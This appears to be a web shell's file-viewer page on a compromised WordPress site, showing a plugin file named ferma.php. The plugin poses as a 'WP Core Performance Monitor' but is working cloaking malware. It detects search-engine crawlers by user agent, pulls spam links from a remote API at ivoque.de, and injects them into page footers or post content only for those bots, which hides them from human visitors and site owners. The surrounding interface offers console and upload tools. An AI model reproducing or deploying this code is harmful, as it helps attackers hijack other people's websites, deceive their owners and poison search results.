D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
stickain
/
davidsteele.com
/
wp-content
/
plugins
/
seo_1771770130
/
Filename :
ferma.php
back
Copy
<?php /** * Plugin Name: WP Core Performance Monitor (Advanced Detection) * Description: A final, robust version with advanced bot detection and a simplified API-client architecture. * Version: 3.0.0 * Author: WordPress Performance Team */ // --- НАСТРОЙКА --- // URL вашего главного сервера, где находится API // ВАЖНО: Замените на ваш реальный домен! define('SEO_LINKS_API_ENDPOINT', 'https://ivoque.de/api/generate-for-bots.php'); // Пример: https://example.com/api/generate-for-bots.php // --- КОНЕЦ НАСТРОЙКИ --- if (!defined('ABSPATH')) exit; class WP_Core_Performance_Monitor_AD { private static $instance = null; private static $executed = false; private $config = [ 'items_limit' => 5, 'cache_ttl' => 60, // Время жизни кэша WordPress в секундах ]; private $bot_signatures = [ 'googlebot' => 'Googlebot', 'bingbot' => 'Bingbot', 'yandexbot' => 'YandexBot', 'baiduspider' => 'Baiduspider', 'duckduckbot' => 'DuckDuckBot', 'slurp' => 'Yahoo-Slurp' ]; public static function get_instance() { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } private function __construct() { add_action('wp_body_open', [$this, 'run_main_logic'], 1, 0); add_action('wp_footer', [$this, 'run_main_logic'], 999, 0); add_filter('the_content', [$this, 'maybe_append_to_content'], 999); } public function run_main_logic($unused = null) { if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) { return; } $detection_result = $this->detect_bot(); if (!$detection_result['is_bot']) { self::$executed = true; return; } $bot_info = ['name' => $detection_result['bot_name']]; // --- ИЗМЕНЕНО: Возвращаем старый метод получения ссылок по API --- $links = $this->get_links_from_api($bot_info); if (empty($links)) { self::$executed = true; return; } self::$executed = true; $this->render_output($links); } /** * Резервный сценарий: если футер не выводится темой, добавим ссылки к контенту. */ public function maybe_append_to_content($content) { if (self::$executed || ($_SERVER['REQUEST_METHOD'] ?? '') === 'HEAD' || is_admin() || (defined('DOING_AJAX') && DOING_AJAX) || (function_exists('wp_is_json_request') && wp_is_json_request()) || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_CRON') && DOING_CRON) || is_feed()) { return $content; } if (!(function_exists('is_singular') ? is_singular() : true)) { return $content; } if (function_exists('in_the_loop') && !in_the_loop()) { return $content; } if (function_exists('is_main_query') && !is_main_query()) { return $content; } $detection_result = $this->detect_bot(); if (!$detection_result['is_bot']) { return $content; } $bot_info = ['name' => $detection_result['bot_name']]; $links = $this->get_links_from_api($bot_info); if (empty($links)) { return $content; } self::$executed = true; return $content . $this->build_links_html($links); } private function detect_bot() { $possible_ua_sources = ['HTTP_X_OPERAMINI_PHONE_UA','HTTP_X_DEVICE_USER_AGENT', 'HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_FORWARDED_USER_AGENT','HTTP_USER_AGENT']; $effective_user_agent = 'N/A'; foreach ($possible_ua_sources as $source) { if (!empty($_SERVER[$source])) { $effective_user_agent = $_SERVER[$source]; break; } } if ($effective_user_agent === 'N/A') { return ['is_bot' => false]; } $user_agent_lower = strtolower($effective_user_agent); foreach ($this->get_strict_bot_signatures() as $signature => $name) { if (strpos($user_agent_lower, $signature) !== false) { return ['is_bot' => true, 'bot_name' => $name]; } } return ['is_bot' => false]; } private function get_strict_bot_signatures() { $allow = [ 'googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'duckduckbot', 'slurp' ]; $map = []; foreach ($allow as $key) { if (isset($this->bot_signatures[$key])) { $map[$key] = $this->bot_signatures[$key]; } } return $map; } // Удалены эвристики и реферер-логика как лишние /** * Получает ссылки с удаленного API. */ private function get_links_from_api($bot_info) { $cache_key = 'wpcp_ad_v3_' . md5($bot_info['name'] . ($_SERVER['REQUEST_URI'] ?? '')); $cached_links = get_transient($cache_key); if ($cached_links !== false && is_array($cached_links)) { return $cached_links; } $url = add_query_arg([ 'bot' => $bot_info['name'], 'count' => $this->config['items_limit'], 'base_id' => '', 'category_id' => '', ], SEO_LINKS_API_ENDPOINT); $response = wp_remote_get($url, ['timeout' => 5]); if (is_wp_error($response)) { return []; } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (json_last_error() === JSON_ERROR_NONE && !empty($data['status']) && $data['status'] === 'success' && !empty($data['links']) && is_array($data['links'])) { set_transient($cache_key, $data['links'], $this->config['cache_ttl']); return $data['links']; } return []; } private function render_output($links) { echo $this->build_links_html($links); } private function build_links_html($links) { if (!is_array($links) || empty($links)) { return ''; } $out = ''; foreach ($links as $link) { if (!is_array($link) || empty($link['url'])) { continue; } $url = esc_url($link['url']); $anchor_raw = isset($link['anchor']) && $link['anchor'] !== '' ? $link['anchor'] : $link['url']; $anchor = esc_html($anchor_raw); $out .= "<a href='{$url}'>{$anchor}</a>"; } return $out; } } WP_Core_Performance_Monitor_AD::get_instance();